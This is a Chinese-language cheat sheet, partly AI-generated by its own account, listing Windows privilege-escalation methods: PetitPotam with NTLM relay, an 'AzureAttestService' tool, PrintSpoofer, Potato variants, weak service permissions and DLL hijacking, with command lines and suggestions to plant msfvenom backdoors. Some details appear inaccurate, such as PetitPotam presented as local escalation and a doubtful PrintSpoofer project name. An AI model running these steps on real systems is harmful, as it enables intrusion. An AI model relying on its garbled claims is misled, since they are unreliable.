概述:windows 提权的各种途径整理

[toc]

本文部分内容由 AI 生成,经人工修订。

提权方案整理

PetitPotam

漏洞概述

PetitPotam 是一种利用 MS-EFSR(Encrypting File System Remote Protocol)协议进行本地提权的技术。该漏洞最初由安全研究员 Gilles Lionel (@topotam) 发现,可作为 PrintSpoofer 的替代方案。

利用原理

  1. 协议介绍:MS-EFSR 是 Windows 用于远程管理加密文件系统的协议
  2. 攻击面:EFSRPC 接口中的 EfsRpcOpenFileRaw 等方法可以被滥用来进行认证强制(Authentication Coercion)
  3. 提权路径
    • 强制 SYSTEM 账户向攻击者控制的服务器进行 NTLM 认证
    • 配合 NTLM Relay 攻击,将认证转发到 LDAP 或其他服务
    • 最终实现权限提升

利用条件

  • 需要 SeImpersonatePrivilege 权限(IIS、SQL Server 等服务账户通常具备)
  • 目标机器需要启用 EFS 服务(默认启用)

使用方法

# 强制目标机器进行认证
PetitPotam.exe <攻击者IP> <目标IP>
 
# 配合 ntlmrelayx 进行中继攻击
# 在攻击机上运行:
ntlmrelayx.py -t ldap://dc.example.com -smb2support
 
# 然后执行 PetitPotam 触发认证
PetitPotam.exe <攻击者IP> <目标IP>

修复状态

  • CVE-2021-36942:微软于 2021 年 8 月发布补丁
  • 建议:禁用 EFSRPC 接口或限制匿名访问

AzureAttestService 提权

漏洞概述

magicAzureAttestService 是针对 Windows Azure Attestation Service(AAS)的本地提权漏洞利用工具。该服务是 Windows 10/11 和 Server 2019+ 中用于可信执行环境证明的组件。

利用原理

  1. 服务介绍:Azure Attestation Service 提供远程证明功能,验证代码在可信环境中运行
  2. 漏洞点:服务存在不安全的文件权限或 DLL 加载路径
  3. 攻击路径
    • 利用服务的权限配置缺陷
    • 通过 DLL 劫持或符号链接攻击
    • 以 SYSTEM 权限执行任意代码

利用条件

  • Windows 10 1809+ / Windows Server 2019+
  • Azure Attestation Service 已安装并运行
  • 需要普通用户权限即可触发

使用方法

# 编译并执行
magicAzureAttestService.exe
 
# 成功后可获得 SYSTEM 权限的 Shell

修复状态

  • 微软已发布安全更新进行修复
  • 建议:及时安装 Windows 安全补丁

其他常见提权方式

PrintSpoofer

经典的本地提权工具,利用 Print Spooler 服务的缺陷:

  • 项目:ademotide/PrintSpoofer
  • 原理:滥用 Print Spooler 的认证强制功能
  • 条件:SeImpersonatePrivilege

Potato 系列提权

工具原理条件
Rotten PotatoDCOM/NTLM 中继SeImpersonatePrivilege
Juicy PotatoCOM/DCOM 滥用SeImpersonatePrivilege
Sweet Potato多种组合利用SeImpersonatePrivilege
Rogue Potato远程 DCOM 调用SeImpersonatePrivilege

服务配置错误

# 检查服务权限
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Users" *
accesschk.exe -uwcqv "Authenticated Users" *
 
# 利用不安全的服务路径
# 1. 检查服务路径是否有空格且未加引号
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
 
# 2. 检查是否有写入权限
icacls "C:\Program Files\Vulnerable Service\"
 
# 3. 替换可执行文件或使用 msfvenom 生成后门

计划任务

# 查看可修改的计划任务
schtasks /query /fo LIST /v
 
# 寻找以 SYSTEM 运行且当前用户可修改的任务

DLL 劫持

# 使用 ProcMon 或 SharpDllProxy 寻找劫持点
# 常见劫持位置:
# - 应用程序目录
# - 当前工作目录
# - PATH 环境变量中的目录

提权检查工具

工具说明
WinPEAS全面的提权枚举脚本
PowerUpPowerShell 提权检查
PrivescCheck轻量级提权审计
SeatbeltC# 枚举工具